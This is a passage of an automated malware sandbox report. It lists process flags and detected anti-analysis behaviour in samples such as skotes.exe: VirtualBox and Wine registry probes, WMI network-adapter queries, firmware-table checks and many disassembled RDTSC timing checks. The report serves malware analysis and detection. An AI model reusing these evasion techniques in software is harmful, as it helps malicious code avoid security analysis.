Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Netstat\FuturreApp.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-10625
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_3-37315
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_2-9694

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000003.00000002.7286155793.00000000013CD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.000000000137D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.5972263346.00000000013CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000003.00000002.7286155793.00000000013CD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.000000000137D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.5972263346.00000000013CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44F241 second address: 44F245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44F245 second address: 44F268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E60BA165Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 435B8F second address: 435BAC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5E60CAC68Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 435BAC second address: 435BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnl 00007F5E60BA1656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jnp 00007F5E60BA1656h 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 435BC5 second address: 435BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E99C second address: 44E9BE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E60BA166Dh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44EB1F second address: 44EB50 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E60CAC692h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E60CAC698h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4526EA second address: 45276C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a or esi, dword ptr [ebp+122D1F92h] 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 add ecx, 38E5171Ah 0x0000001a movsx edx, di 0x0000001d push 00000003h 0x0000001f or dword ptr [ebp+122D219Dh], ecx 0x00000025 push D5F63A53h 0x0000002a jnc 00007F5E60BA165Ch 0x00000030 xor dword ptr [esp], 15F63A53h 0x00000037 mov dword ptr [ebp+122D1CA7h], ebx 0x0000003d lea ebx, dword ptr [ebp+124574F0h] 0x00000043 jmp 00007F5E60BA1669h 0x00000048 push eax 0x00000049 push ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F5E60BA1664h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45276C second address: 452770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45293B second address: 452941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 452941 second address: 452973 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E60CAC688h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F5E60CAC696h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jc 00007F5E60CAC688h 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463AE8 second address: 463AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FB28 second address: 46FB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FCD8 second address: 46FCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA1660h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FCED second address: 46FD29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E60CAC692h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F5E60CAC686h 0x00000012 popad 0x00000013 jmp 00007F5E60CAC695h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FD29 second address: 46FD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FED7 second address: 46FEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC692h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FEED second address: 46FEF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FEF3 second address: 46FF1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jmp 00007F5E60CAC698h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F5E60CAC686h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FF1C second address: 46FF2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F5E60BA1656h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FF2A second address: 46FF2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FF2E second address: 46FF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47044E second address: 47046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60CAC692h 0x00000009 jmp 00007F5E60CAC68Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47046F second address: 470473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4705D5 second address: 4705DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4705DC second address: 4705F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E60BA1667h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4705F8 second address: 47061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F5E60CAC686h 0x0000000f jmp 00007F5E60CAC696h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470756 second address: 470768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA165Ah 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470768 second address: 4707BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F5E60CAC6A3h 0x0000000b popad 0x0000000c jne 00007F5E60CAC6C4h 0x00000012 jns 00007F5E60CAC692h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5E60CAC68Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A21 second address: 470A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A27 second address: 470A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A30 second address: 470A46 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E60BA1660h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A46 second address: 470A71 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E60CAC68Bh 0x00000013 pushad 0x00000014 jmp 00007F5E60CAC68Dh 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A71 second address: 470A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A76 second address: 470A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60CAC692h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470A8C second address: 470A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446A51 second address: 446A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 471434 second address: 471454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5E60BA1667h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 471454 second address: 47145E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5E60CAC686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47145E second address: 471462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475C75 second address: 475C7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5E60CAC686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DD3 second address: 475E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA165Dh 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F5E60BA1668h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475E08 second address: 475E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475E1B second address: 475E45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F5E60BA1656h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5E60BA1668h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475E45 second address: 475E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F5E60CAC686h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474CFA second address: 474D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5E60BA1656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 437681 second address: 437688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DA0A second address: 47DA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E60BA165Eh 0x00000010 jmp 00007F5E60BA165Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DD79 second address: 47DD93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC693h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DD93 second address: 47DD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DD99 second address: 47DD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DF08 second address: 47DF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DF0C second address: 47DF27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5E60CAC68Ch 0x0000000c jns 00007F5E60CAC686h 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DF27 second address: 47DF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DF2D second address: 47DF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E4B4 second address: 47E4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F5E60BA166Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E4DA second address: 47E4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E4E0 second address: 47E4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47EF23 second address: 47EF31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F5E60CAC68Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47EF31 second address: 47EF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F5E60BA1656h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47EF40 second address: 47EF61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC693h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47EF61 second address: 47EF65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F0E4 second address: 47F0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F0EA second address: 47F114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5E60BA1665h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F5E60BA165Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F259 second address: 47F25F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F358 second address: 47F35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F35E second address: 47F379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5E60CAC692h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F459 second address: 47F45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
